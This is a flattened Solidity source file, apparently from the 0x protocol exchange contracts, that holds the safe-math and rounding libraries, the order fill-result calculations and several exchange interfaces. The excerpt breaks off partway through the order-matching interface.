@0x/contracts-utils/contracts/src/LibRichErrors.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } // File: @0x/contracts-utils/contracts/src/LibSafeMathRichErrors.sol pragma solidity ^0.5.9; library LibSafeMathRichErrors { // bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)")) bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR = 0xe946c1bb; // bytes4(keccak256("Uint256DowncastError(uint8,uint256)")) bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR = 0xc996af7b; enum BinOpErrorCodes { ADDITION_OVERFLOW, MULTIPLICATION_OVERFLOW, SUBTRACTION_UNDERFLOW, DIVISION_BY_ZERO } enum DowncastErrorCodes { VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96 } // solhint-disable func-name-mixedcase function Uint256BinOpError( BinOpErrorCodes errorCode, uint256 a, uint256 b ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_BINOP_ERROR_SELECTOR, errorCode, a, b ); } function Uint256DowncastError( DowncastErrorCodes errorCode, uint256 a ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_DOWNCAST_ERROR_SELECTOR, errorCode, a ); } } // File: @0x/contracts-utils/contracts/src/LibSafeMath.sol pragma solidity ^0.5.9; library LibSafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; if (c / a != b) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, b )); } return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO, a, b )); } uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { if (b > a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW, a, b )); } return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; if (c < a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW, a, b )); } return c; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // File: @0x/contracts-exchange-libs/contracts/src/LibMathRichErrors.sol pragma solidity ^0.5.9; library LibMathRichErrors { // bytes4(keccak256("DivisionByZeroError()")) bytes internal constant DIVISION_BY_ZERO_ERROR = hex"a791837c"; // bytes4(keccak256("RoundingError(uint256,uint256,uint256)")) bytes4 internal constant ROUNDING_ERROR_SELECTOR = 0x339f3de2; // solhint-disable func-name-mixedcase function DivisionByZeroError() internal pure returns (bytes memory) { return DIVISION_BY_ZERO_ERROR; } function RoundingError( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bytes memory) { return abi.encodeWithSelector( ROUNDING_ERROR_SELECTOR, numerator, denominator, target ); } } // File: @0x/contracts-exchange-libs/contracts/src/LibMath.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibMath { using LibSafeMath for uint256; /// @dev Calculates partial value given a numerator and denominator rounded down. /// Reverts if rounding error is >= 0.1% /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded down. function safeGetPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { if (isRoundingErrorFloor( numerator, denominator, target )) { LibRichErrors.rrevert(LibMathRichErrors.RoundingError( numerator, denominator, target )); } partialAmount = numerator.safeMul(target).safeDiv(denominator); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// Reverts if rounding error is >= 0.1% /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded up. function safeGetPartialAmountCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { if (isRoundingErrorCeil( numerator, denominator, target )) { LibRichErrors.rrevert(LibMathRichErrors.RoundingError( numerator, denominator, target )); } // safeDiv computes `floor(a / b)`. We use the identity (a, b integer): // ceil(a / b) = floor((a + b - 1) / b) // To implement `ceil(a / b)` using safeDiv. partialAmount = numerator.safeMul(target) .safeAdd(denominator.safeSub(1)) .safeDiv(denominator); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded down. function getPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { partialAmount = numerator.safeMul(target).safeDiv(denominator); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded up. function getPartialAmountCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { // safeDiv computes `floor(a / b)`. We use the identity (a, b integer): // ceil(a / b) = floor((a + b - 1) / b) // To implement `ceil(a / b)` using safeDiv. partialAmount = numerator.safeMul(target) .safeAdd(denominator.safeSub(1)) .safeDiv(denominator); return partialAmount; } /// @dev Checks if rounding error >= 0.1% when rounding down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingErrorFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bool isError) { if (denominator == 0) { LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError()); } // The absolute rounding error is the difference between the rounded // value and the ideal value. The relative rounding error is the // absolute rounding error divided by the absolute value of the // ideal value. This is undefined when the ideal value is zero. // // The ideal value is `numerator * target / denominator`. // Let's call `numerator * target % denominator` the remainder. // The absolute error is `remainder / denominator`. // // When the ideal value is zero, we require the absolute error to // be zero. Fortunately, this is always the case. The ideal value is // zero iff `numerator == 0` and/or `target == 0`. In this case the // remainder and absolute error are also zero. if (target == 0 || numerator == 0) { return false; } // Otherwise, we want the relative rounding error to be strictly // less than 0.1%. // The relative error is `remainder / (numerator * target)`. // We want the relative error less than 1 / 1000: // remainder / (numerator * denominator) < 1 / 1000 // or equivalently: // 1000 * remainder < numerator * target // so we have a rounding error iff: // 1000 * remainder >= numerator * target uint256 remainder = mulmod( target, numerator, denominator ); isError = remainder.safeMul(1000) >= numerator.safeMul(target); return isError; } /// @dev Checks if rounding error >= 0.1% when rounding up. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingErrorCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bool isError) { if (denominator == 0) { LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError()); } // See the comments in `isRoundingError`. if (target == 0 || numerator == 0) { // When either is zero, the ideal value and rounded value are zero // and there is no rounding error. (Although the relative error // is undefined.) return false; } // Compute remainder as before uint256 remainder = mulmod( target, numerator, denominator ); remainder = denominator.safeSub(remainder) % denominator; isError = remainder.safeMul(1000) >= numerator.safeMul(target); return isError; } } // File: @0x/contracts-exchange-libs/contracts/src/LibFillResults.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibFillResults { using LibSafeMath for uint256; struct BatchMatchedFillResults { FillResults[] left; // Fill results for left orders FillResults[] right; // Fill results for right orders uint256 profitInLeftMakerAsset; // Profit taken from left makers uint256 profitInRightMakerAsset; // Profit taken from right makers } struct FillResults { uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled. uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled. uint256 makerFeePaid; // Total amount of fees paid by maker(s) to feeRecipient(s). uint256 takerFeePaid; // Total amount of fees paid by taker to feeRecipients(s). uint256 protocolFeePaid; // Total amount of fees paid by taker to the staking contract. } struct MatchedFillResults { FillResults left; // Amounts filled and fees paid of left order. FillResults right; // Amounts filled and fees paid of right order. uint256 profitInLeftMakerAsset; // Profit taken from the left maker uint256 profitInRightMakerAsset; // Profit taken from the right maker } /// @dev Calculates amounts filled and fees paid by maker and taker. /// @param order to be filled. /// @param takerAssetFilledAmount Amount of takerAsset that will be filled. /// @param protocolFeeMultiplier The current protocol fee of the exchange contract. /// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue /// to be pure rather than view. /// @return fillResults Amounts filled and fees paid by maker and taker. function calculateFillResults( LibOrder.Order memory order, uint256 takerAssetFilledAmount, uint256 protocolFeeMultiplier, uint256 gasPrice ) internal pure returns (FillResults memory fillResults) { // Compute proportional transfer amounts fillResults.takerAssetFilledAmount = takerAssetFilledAmount; fillResults.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor( takerAssetFilledAmount, order.takerAssetAmount, order.makerAssetAmount ); fillResults.makerFeePaid = LibMath.safeGetPartialAmountFloor( takerAssetFilledAmount, order.takerAssetAmount, order.makerFee ); fillResults.takerFeePaid = LibMath.safeGetPartialAmountFloor( takerAssetFilledAmount, order.takerAssetAmount, order.takerFee ); // Compute the protocol fee that should be paid for a single fill. fillResults.protocolFeePaid = gasPrice.safeMul(protocolFeeMultiplier); return fillResults; } /// @dev Calculates fill amounts for the matched orders. /// Each order is filled at their respective price point. However, the calculations are /// carried out as though the orders are both being filled at the right order's price point. /// The profit made by the leftOrder order goes to the taker (who matched the two orders). /// @param leftOrder First order to match. /// @param rightOrder Second order to match. /// @param leftOrderTakerAssetFilledAmount Amount of left order already filled. /// @param rightOrderTakerAssetFilledAmount Amount of right order already filled. /// @param protocolFeeMultiplier The current protocol fee of the exchange contract. /// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue /// to be pure rather than view. /// @param shouldMaximallyFillOrders A value that indicates whether or not this calculation should use /// the maximal fill order matching strategy. /// @param matchedFillResults Amounts to fill and fees to pay by maker and taker of matched orders. function calculateMatchedFillResults( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, uint256 leftOrderTakerAssetFilledAmount, uint256 rightOrderTakerAssetFilledAmount, uint256 protocolFeeMultiplier, uint256 gasPrice, bool shouldMaximallyFillOrders ) internal pure returns (MatchedFillResults memory matchedFillResults) { // Derive maker asset amounts for left & right orders, given store taker assert amounts uint256 leftTakerAssetAmountRemaining = leftOrder.takerAssetAmount.safeSub(leftOrderTakerAssetFilledAmount); uint256 leftMakerAssetAmountRemaining = LibMath.safeGetPartialAmountFloor( leftOrder.makerAssetAmount, leftOrder.takerAssetAmount, leftTakerAssetAmountRemaining ); uint256 rightTakerAssetAmountRemaining = rightOrder.takerAssetAmount.safeSub(rightOrderTakerAssetFilledAmount); uint256 rightMakerAssetAmountRemaining = LibMath.safeGetPartialAmountFloor( rightOrder.makerAssetAmount, rightOrder.takerAssetAmount, rightTakerAssetAmountRemaining ); // Maximally fill the orders and pay out profits to the matcher in one or both of the maker assets. if (shouldMaximallyFillOrders) { matchedFillResults = _calculateMatchedFillResultsWithMaximalFill( leftOrder, rightOrder, leftMakerAssetAmountRemaining, leftTakerAssetAmountRemaining, rightMakerAssetAmountRemaining, rightTakerAssetAmountRemaining ); } else { matchedFillResults = _calculateMatchedFillResults( leftOrder, rightOrder, leftMakerAssetAmountRemaining, leftTakerAssetAmountRemaining, rightMakerAssetAmountRemaining, rightTakerAssetAmountRemaining ); } // Compute fees for left order matchedFillResults.left.makerFeePaid = LibMath.safeGetPartialAmountFloor( matchedFillResults.left.makerAssetFilledAmount, leftOrder.makerAssetAmount, leftOrder.makerFee ); matchedFillResults.left.takerFeePaid = LibMath.safeGetPartialAmountFloor( matchedFillResults.left.takerAssetFilledAmount, leftOrder.takerAssetAmount, leftOrder.takerFee ); // Compute fees for right order matchedFillResults.right.makerFeePaid = LibMath.safeGetPartialAmountFloor( matchedFillResults.right.makerAssetFilledAmount, rightOrder.makerAssetAmount, rightOrder.makerFee ); matchedFillResults.right.takerFeePaid = LibMath.safeGetPartialAmountFloor( matchedFillResults.right.takerAssetFilledAmount, rightOrder.takerAssetAmount, rightOrder.takerFee ); // Compute the protocol fee that should be paid for a single fill. In this // case this should be made the protocol fee for both the left and right orders. uint256 protocolFee = gasPrice.safeMul(protocolFeeMultiplier); matchedFillResults.left.protocolFeePaid = protocolFee; matchedFillResults.right.protocolFeePaid = protocolFee; // Return fill results return matchedFillResults; } /// @dev Adds properties of both FillResults instances. /// @param fillResults1 The first FillResults. /// @param fillResults2 The second FillResults. /// @return The sum of both fill results. function addFillResults( FillResults memory fillResults1, FillResults memory fillResults2 ) internal pure returns (FillResults memory totalFillResults) { totalFillResults.makerAssetFilledAmount = fillResults1.makerAssetFilledAmount.safeAdd(fillResults2.makerAssetFilledAmount); totalFillResults.takerAssetFilledAmount = fillResults1.takerAssetFilledAmount.safeAdd(fillResults2.takerAssetFilledAmount); totalFillResults.makerFeePaid = fillResults1.makerFeePaid.safeAdd(fillResults2.makerFeePaid); totalFillResults.takerFeePaid = fillResults1.takerFeePaid.safeAdd(fillResults2.takerFeePaid); totalFillResults.protocolFeePaid = fillResults1.protocolFeePaid.safeAdd(fillResults2.protocolFeePaid); return totalFillResults; } /// @dev Calculates part of the matched fill results for a given situation using the fill strategy that only /// awards profit denominated in the left maker asset. /// @param leftOrder The left order in the order matching situation. /// @param rightOrder The right order in the order matching situation. /// @param leftMakerAssetAmountRemaining The amount of the left order maker asset that can still be filled. /// @param leftTakerAssetAmountRemaining The amount of the left order taker asset that can still be filled. /// @param rightMakerAssetAmountRemaining The amount of the right order maker asset that can still be filled. /// @param rightTakerAssetAmountRemaining The amount of the right order taker asset that can still be filled. /// @return MatchFillResults struct that does not include fees paid. function _calculateMatchedFillResults( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, uint256 leftMakerAssetAmountRemaining, uint256 leftTakerAssetAmountRemaining, uint256 rightMakerAssetAmountRemaining, uint256 rightTakerAssetAmountRemaining ) private pure returns (MatchedFillResults memory matchedFillResults) { // Calculate fill results for maker and taker assets: at least one order will be fully filled. // The maximum amount the left maker can buy is `leftTakerAssetAmountRemaining` // The maximum amount the right maker can sell is `rightMakerAssetAmountRemaining` // We have two distinct cases for calculating the fill results: // Case 1. // If the left maker can buy more than the right maker can sell, then only the right order is fully filled. // If the left maker can buy exactly what the right maker can sell, then both orders are fully filled. // Case 2. // If the left maker cannot buy more than the right maker can sell, then only the left order is fully filled. // Case 3. // If the left maker can buy exactly as much as the right maker can sell, then both orders are fully filled. if (leftTakerAssetAmountRemaining > rightMakerAssetAmountRemaining) { // Case 1: Right order is fully filled matchedFillResults = _calculateCompleteRightFill( leftOrder, rightMakerAssetAmountRemaining, rightTakerAssetAmountRemaining ); } else if (leftTakerAssetAmountRemaining < rightMakerAssetAmountRemaining) { // Case 2: Left order is fully filled matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining; matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining; matchedFillResults.right.makerAssetFilledAmount = leftTakerAssetAmountRemaining; // Round up to ensure the maker's exchange rate does not exceed the price specified by the order. // We favor the maker when the exchange rate must be rounded. matchedFillResults.right.takerAssetFilledAmount = LibMath.safeGetPartialAmountCeil( rightOrder.takerAssetAmount, rightOrder.makerAssetAmount, leftTakerAssetAmountRemaining // matchedFillResults.right.makerAssetFilledAmount ); } else { // leftTakerAssetAmountRemaining == rightMakerAssetAmountRemaining // Case 3: Both orders are fully filled. Technically, this could be captured by the above cases, but // this calculation will be more precise since it does not include rounding. matchedFillResults = _calculateCompleteFillBoth( leftMakerAssetAmountRemaining, leftTakerAssetAmountRemaining, rightMakerAssetAmountRemaining, rightTakerAssetAmountRemaining ); } // Calculate amount given to taker matchedFillResults.profitInLeftMakerAsset = matchedFillResults.left.makerAssetFilledAmount.safeSub( matchedFillResults.right.takerAssetFilledAmount ); return matchedFillResults; } /// @dev Calculates part of the matched fill results for a given situation using the maximal fill order matching /// strategy. /// @param leftOrder The left order in the order matching situation. /// @param rightOrder The right order in the order matching situation. /// @param leftMakerAssetAmountRemaining The amount of the left order maker asset that can still be filled. /// @param leftTakerAssetAmountRemaining The amount of the left order taker asset that can still be filled. /// @param rightMakerAssetAmountRemaining The amount of the right order maker asset that can still be filled. /// @param rightTakerAssetAmountRemaining The amount of the right order taker asset that can still be filled. /// @return MatchFillResults struct that does not include fees paid. function _calculateMatchedFillResultsWithMaximalFill( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, uint256 leftMakerAssetAmountRemaining, uint256 leftTakerAssetAmountRemaining, uint256 rightMakerAssetAmountRemaining, uint256 rightTakerAssetAmountRemaining ) private pure returns (MatchedFillResults memory matchedFillResults) { // If a maker asset is greater than the opposite taker asset, than there will be a spread denominated in that maker asset. bool doesLeftMakerAssetProfitExist = leftMakerAssetAmountRemaining > rightTakerAssetAmountRemaining; bool doesRightMakerAssetProfitExist = rightMakerAssetAmountRemaining > leftTakerAssetAmountRemaining; // Calculate the maximum fill results for the maker and taker assets. At least one of the orders will be fully filled. // // The maximum that the left maker can possibly buy is the amount that the right order can sell. // The maximum that the right maker can possibly buy is the amount that the left order can sell. // // If the left order is fully filled, profit will be paid out in the left maker asset. If the right order is fully filled, // the profit will be out in the right maker asset. // // There are three cases to consider: // Case 1. // If the left maker can buy more than the right maker can sell, then only the right order is fully filled. // Case 2. // If the right maker can buy more than the left maker can sell, then only the right order is fully filled. // Case 3. // If the right maker can sell the max of what the left maker can buy and the left maker can sell the max of // what the right maker can buy, then both orders are fully filled. if (leftTakerAssetAmountRemaining > rightMakerAssetAmountRemaining) { // Case 1: Right order is fully filled with the profit paid in the left makerAsset matchedFillResults = _calculateCompleteRightFill( leftOrder, rightMakerAssetAmountRemaining, rightTakerAssetAmountRemaining ); } else if (rightTakerAssetAmountRemaining > leftMakerAssetAmountRemaining) { // Case 2: Left order is fully filled with the profit paid in the right makerAsset. matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining; matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining; // Round down to ensure the right maker's exchange rate does not exceed the price specified by the order. // We favor the right maker when the exchange rate must be rounded and the profit is being paid in the // right maker asset. matchedFillResults.right.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor( rightOrder.makerAssetAmount, rightOrder.takerAssetAmount, leftMakerAssetAmountRemaining ); matchedFillResults.right.takerAssetFilledAmount = leftMakerAssetAmountRemaining; } else { // Case 3: The right and left orders are fully filled matchedFillResults = _calculateCompleteFillBoth( leftMakerAssetAmountRemaining, leftTakerAssetAmountRemaining, rightMakerAssetAmountRemaining, rightTakerAssetAmountRemaining ); } // Calculate amount given to taker in the left order's maker asset if the left spread will be part of the profit. if (doesLeftMakerAssetProfitExist) { matchedFillResults.profitInLeftMakerAsset = matchedFillResults.left.makerAssetFilledAmount.safeSub( matchedFillResults.right.takerAssetFilledAmount ); } // Calculate amount given to taker in the right order's maker asset if the right spread will be part of the profit. if (doesRightMakerAssetProfitExist) { matchedFillResults.profitInRightMakerAsset = matchedFillResults.right.makerAssetFilledAmount.safeSub( matchedFillResults.left.takerAssetFilledAmount ); } return matchedFillResults; } /// @dev Calculates the fill results for the maker and taker in the order matching and writes the results /// to the fillResults that are being collected on the order. Both orders will be fully filled in this /// case. /// @param leftMakerAssetAmountRemaining The amount of the left maker asset that is remaining to be filled. /// @param leftTakerAssetAmountRemaining The amount of the left taker asset that is remaining to be filled. /// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled. /// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled. /// @return MatchFillResults struct that does not include fees paid or spreads taken. function _calculateCompleteFillBoth( uint256 leftMakerAssetAmountRemaining, uint256 leftTakerAssetAmountRemaining, uint256 rightMakerAssetAmountRemaining, uint256 rightTakerAssetAmountRemaining ) private pure returns (MatchedFillResults memory matchedFillResults) { // Calculate the fully filled results for both orders. matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining; matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining; matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining; matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining; return matchedFillResults; } /// @dev Calculates the fill results for the maker and taker in the order matching and writes the results /// to the fillResults that are being collected on the order. /// @param leftOrder The left order that is being maximally filled. All of the information about fill amounts /// can be derived from this order and the right asset remaining fields. /// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled. /// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled. /// @return MatchFillResults struct that does not include fees paid or spreads taken. function _calculateCompleteRightFill( LibOrder.Order memory leftOrder, uint256 rightMakerAssetAmountRemaining, uint256 rightTakerAssetAmountRemaining ) private pure returns (MatchedFillResults memory matchedFillResults) { matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining; matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining; matchedFillResults.left.takerAssetFilledAmount = rightMakerAssetAmountRemaining; // Round down to ensure the left maker's exchange rate does not exceed the price specified by the order. // We favor the left maker when the exchange rate must be rounded and the profit is being paid in the // left maker asset. matchedFillResults.left.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor( leftOrder.makerAssetAmount, leftOrder.takerAssetAmount, rightMakerAssetAmountRemaining ); return matchedFillResults; } } // File: @0x/contracts-exchange/contracts/src/interfaces/IExchangeCore.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IExchangeCore { // Fill event is emitted whenever an order is filled. event Fill( address indexed makerAddress, // Address that created the order. address indexed feeRecipientAddress, // Address that received fees. bytes makerAssetData, // Encoded data specific to makerAsset. bytes takerAssetData, // Encoded data specific to takerAsset. bytes makerFeeAssetData, // Encoded data specific to makerFeeAsset. bytes takerFeeAssetData, // Encoded data specific to takerFeeAsset. bytes32 indexed orderHash, // EIP712 hash of order (see LibOrder.getTypedDataHash). address takerAddress, // Address that filled the order. address senderAddress, // Address that called the Exchange contract (msg.sender). uint256 makerAssetFilledAmount, // Amount of makerAsset sold by maker and bought by taker. uint256 takerAssetFilledAmount, // Amount of takerAsset sold by taker and bought by maker. uint256 makerFeePaid, // Amount of makerFeeAssetData paid to feeRecipient by maker. uint256 takerFeePaid, // Amount of takerFeeAssetData paid to feeRecipient by taker. uint256 protocolFeePaid // Amount of eth or weth paid to the staking contract. ); // Cancel event is emitted whenever an individual order is cancelled. event Cancel( address indexed makerAddress, // Address that created the order. address indexed feeRecipientAddress, // Address that would have recieved fees if order was filled. bytes makerAssetData, // Encoded data specific to makerAsset. bytes takerAssetData, // Encoded data specific to takerAsset. address senderAddress, // Address that called the Exchange contract (msg.sender). bytes32 indexed orderHash // EIP712 hash of order (see LibOrder.getTypedDataHash). ); // CancelUpTo event is emitted whenever `cancelOrdersUpTo` is executed succesfully. event CancelUpTo( address indexed makerAddress, // Orders cancelled must have been created by this address. address indexed orderSenderAddress, // Orders cancelled must have a `senderAddress` equal to this address. uint256 orderEpoch // Orders with specified makerAddress and senderAddress with a salt less than this value are considered cancelled. ); /// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch /// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress). /// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled. function cancelOrdersUpTo(uint256 targetOrderEpoch) external payable; /// @dev Fills the input order. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public payable returns (LibFillResults.FillResults memory fillResults); /// @dev After calling, the order can not be filled anymore. /// @param order Order struct containing order specifications. function cancelOrder(LibOrder.Order memory order) public payable; /// @dev Gets information about an order: status, hash, and amount filled. /// @param order Order to gather information on. /// @return OrderInfo Information about the order and its state. /// See LibOrder.OrderInfo for a complete description. function getOrderInfo(LibOrder.Order memory order) public view returns (LibOrder.OrderInfo memory orderInfo); } // File: @0x/contracts-exchange/contracts/src/interfaces/IProtocolFees.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IProtocolFees { // Logs updates to the protocol fee multiplier. event ProtocolFeeMultiplier(uint256 oldProtocolFeeMultiplier, uint256 updatedProtocolFeeMultiplier); // Logs updates to the protocolFeeCollector address. event ProtocolFeeCollectorAddress(address oldProtocolFeeCollector, address updatedProtocolFeeCollector); /// @dev Allows the owner to update the protocol fee multiplier. /// @param updatedProtocolFeeMultiplier The updated protocol fee multiplier. function setProtocolFeeMultiplier(uint256 updatedProtocolFeeMultiplier) external; /// @dev Allows the owner to update the protocolFeeCollector address. /// @param updatedProtocolFeeCollector The updated protocolFeeCollector contract address. function setProtocolFeeCollectorAddress(address updatedProtocolFeeCollector) external; /// @dev Returns the protocolFeeMultiplier function protocolFeeMultiplier() external view returns (uint256); /// @dev Returns the protocolFeeCollector address function protocolFeeCollector() external view returns (address); } // File: @0x/contracts-exchange/contracts/src/interfaces/IMatchOrders.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IMatchOrders { /// @dev Match complementary orders that have a profitable spread. /// Each order is filled at their respective price point, and /// the matcher receives a profit denominated in the left maker asset. /// @param leftOrders Set of orders with the same maker / taker asset. /// @param rightOrders Set of orders to match against `leftOrders` /// @param leftSignatures Proof that left orders were created by the left makers. /// @param rightSignatures Proof that right orders were created by the right makers. /// @return batchMatchedFillResults Amounts filled and profit generated. function batchMatchOrders( LibOrder.Order[] memory leftOrders, LibOrder.Order[] memory rightOrders, bytes[] memory leftSignatures, bytes[] memory rightSignatures ) public payable returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults); /// @dev Match complementary orders that have a profitable spread. /// Each order is maximally filled at their respective price point, and /// the matcher receives a profit denominated in either the left maker asset, /// right maker asset, or a combination of both. /// @param leftOrders Set of orders with the same maker / taker asset. /// @param rightOrders Set of orders to match against `leftOrders` /// @param leftSignatures Proof that left orders were created by the left makers. /// @param rightSignatures Proof that right orders were created by the right makers. /// @return batchMatchedFillResults Amounts filled and profit generated. function batchMatchOrdersWithMaximalFill( LibOrder.Order[] memory leftOrders, LibOrder.Order[] memory rightOrders, bytes[] memory leftSignatures, bytes[] memory rightSignatures ) public payable returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults); /// @dev Match two complementary orders that have a profitable spread. /// Each order is filled at their respective price point. However, the calculations are /// carried out as though the orders are both being filled at the right order's price point. /// The profit made by the left order goes to the taker (who matched the two orders). /// @param leftOrder First order to match. /// @param rightOrder Second order to match. /// @param leftSignature Proof that order was created by the left 